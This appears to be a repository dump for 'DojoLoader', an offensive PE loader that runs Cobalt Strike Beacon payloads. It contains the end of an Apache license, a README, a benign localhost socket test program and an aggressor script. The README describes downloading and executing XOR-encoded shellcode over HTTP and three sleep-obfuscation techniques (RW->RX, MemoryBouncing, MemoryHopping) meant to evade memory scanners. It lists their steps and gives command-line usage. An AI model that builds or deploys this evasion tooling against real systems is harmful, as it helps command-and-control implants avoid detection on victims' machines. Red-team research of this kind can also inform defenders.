"Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | [![Twitter](https://img.shields.io/twitter/follow/naksyn?label=naksyn&style=social)](https://twitter.com/intent/follow?screen_name=naksyn) 2 | 3 | # DojoLoader 4 | 5 | Generic PE loader for fast prototyping evasion techniques 6 | 7 | ![immagine](https://github.com/naksyn/DojoLoader/assets/59816245/af9abb9e-f731-4cf9-a11f-03e99d5f3262) 8 | 9 | # What is it 10 | 11 | DojoLoader is a generic PE loader initially created to prototype sleep obfuscation techniques with Cobalt Strike UDRL-less raw Beacon payload, in an attempt to reduce debugging time with UDRLs. 12 | 13 | [You can read this blog post for more insight on the journey](https://www.naksyn.com/cobalt%20strike/2024/07/02/raising-beacons-without-UDRLs-teaching-how-to-sleep.html). 14 | 15 | DojoLoader borrows MemoryModule implementation of the [DynamicDllLoader](https://gitlab.com/ORCA000/dynamicdllloader) project by ORCA000 and expands on that adding modularity and the following features: 16 | 1. download and execution of (xored) shellcode from HTTP of from file 17 | 2. dynamic IAT hooking for Sleep function 18 | 3. Three different Sleep obfuscation techinques implemented in the hook library 19 | * RW->RX 20 | * MemoryBouncing 21 | * MemoryHopping 22 | 23 | **Rw->RX** sleep obfuscation is a classic RW -> encrypt -> Sleep -> decrypt -> RX -> RW -> encrypt scheme. 24 | 25 | **MemoryBouncing** is a diferent (from publicly available techniques) sleep obfuscation that aims to evade public RX->RW detections and involves the following steps: 26 | 27 | 1. Copy mapped PE to a buffer and encrypt it 28 | 2. Free mapped PE address 29 | 3. do sleep time (e.g. SleepEx) 30 | 4. Allocate RWX address on the same address were PE was mapped 31 | 5. deecrypt the buffer and copy it over the RWX memory 32 | 33 | RX->RW detection is evaded by avoiding VirtualProtect and hiding the payload during sleep by freeing the payload memory area. 34 | 35 | https://github.com/naksyn/DojoLoader/assets/59816245/30c092ac-dc2f-4842-980e-8d38f54d5027 36 | 37 | 38 | **MemoryHopping** is another different (from publicly available techniques) sleep obfuscation that aims to evade public RX->RW detections and involves the following steps: 39 | 40 | 1. save the return address 41 | 2. copy the mapped PE bytes to a buffer and optionally encrypt it 42 | 3. Free the memory of the mapped payload 43 | 4. allocate RWX memory on a different address 44 | 5. calculate delta and adjust the return address accordingly 45 | 6. copy bytes from the buffer to the newly created memory region 46 | 7. perform relocations on the copied bytes 47 | 8. resume execution form the adjusted return address 48 | 49 | https://github.com/naksyn/DojoLoader/assets/59816245/2111a6b4-0f7c-46b6-8f69-54ba79a96c04 50 | 51 | # Usage 52 | To use the loader with Cobalt Strike Beacon, generate first a UDRL-less payload using the cna in the Utils folder and -beacon flag with the loader. 53 | 54 | ``` 55 | Usage: -d | -f [-k ] [-s ] [-beacon] 56 | Options: 57 | -d -download Load PE from the specified URL 58 | -f -file Load PE from the specified file 59 | -k -key XOR the payload with the specified key 60 | -s -sleep <1 (membounce),2 (memhop),3 (RWRX)> Sleep Obfuscation techniques: 61 | 1 or membounce for MemoryBouncing 62 | 2 or memhop for Memory Hopping (choose a compatible payload) 63 | 3 or RWRX for classic RW->RX 64 | -beacon use Cobalt Strike UDRL-les Beacon payload execution method 65 | -h print this help 66 | ``` 67 | -------------------------------------------------------------------------------- /Utils/dummy_socket.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #pragma comment(lib, "ws2_32.lib") // Link against the Winsock library 7 | 8 | // build with x86_64-w64-mingw32-gcc socket.c -o socket_program.exe -lws2_32 9 | 10 | int main() { 11 | WSADATA wsaData; 12 | SOCKET sock; 13 | struct sockaddr_in server; 14 | char recvBuffer[1024]; 15 | int recvSize; 16 | int connectionResult; 17 | 18 | // Initialize Winsock 19 | WSAStartup(MAKEWORD(2,2), &wsaData); 20 | 21 | while(1) { 22 | sock = socket(AF_INET, SOCK_STREAM, 0); 23 | if (sock == INVALID_SOCKET) { 24 | printf("Could not create socket : %d" , WSAGetLastError()); 25 | return 1; 26 | } 27 | 28 | server.sin_addr.s_addr = inet_addr("127.0.0.1"); 29 | server.sin_family = AF_INET; 30 | server.sin_port = htons(81); // Ensure this matches your ncat listening port 31 | 32 | 33 | connectionResult = connect(sock , (struct sockaddr *)&server , sizeof(server)); 34 | if (connectionResult < 0) { 35 | printf("Connect failed with error code : %d" , WSAGetLastError()); 36 | closesocket(sock); 37 | Sleep(3000); 38 | continue; 39 | } 40 | 41 | printf("Connected\n"); 42 | 43 | 44 | recvSize = recv(sock , recvBuffer , sizeof(recvBuffer) , 0); 45 | if(recvSize == SOCKET_ERROR) { 46 | printf("Recv failed with error code : %d" , WSAGetLastError()); 47 | } else { 48 | recvBuffer[recvSize] = '\0'; 49 | printf("Reply received: %s\n", recvBuffer); 50 | } 51 | 52 | closesocket(sock); 53 | Sleep(3000); 54 | } 55 | 56 | WSACleanup(); 57 | return 0; 58 | } 59 | -------------------------------------------------------------------------------- /Utils/noUDRL.cna: -------------------------------------------------------------------------------- 1 | # ------------------------------------ 2 | # $1 = DLLfilename 3 | # $2 = arch 4 | # ------------------------------------ 5 | 6 | set BEACON_RDLL_SIZE { 7 | warn("Running 'BEACON_RDLL_SIZE' for DLL " .$1. " with architecture " .$2); 8 | return "0"; 9 | } 10 | 11 | set BEACON_RDLL_GENERATE { 12 | local('$arch $beacon $fileHandle $ldr $path $payload'); 13 | $beacon = $2; 14 | $arch = $3; 15 | 16 | # Apply the transformations to the beacon payload 17 | $beacon = setup_transformations($beacon, $arch); 18 | 19 | return $beacon; 20 | } --------------------------------------------------------------------------------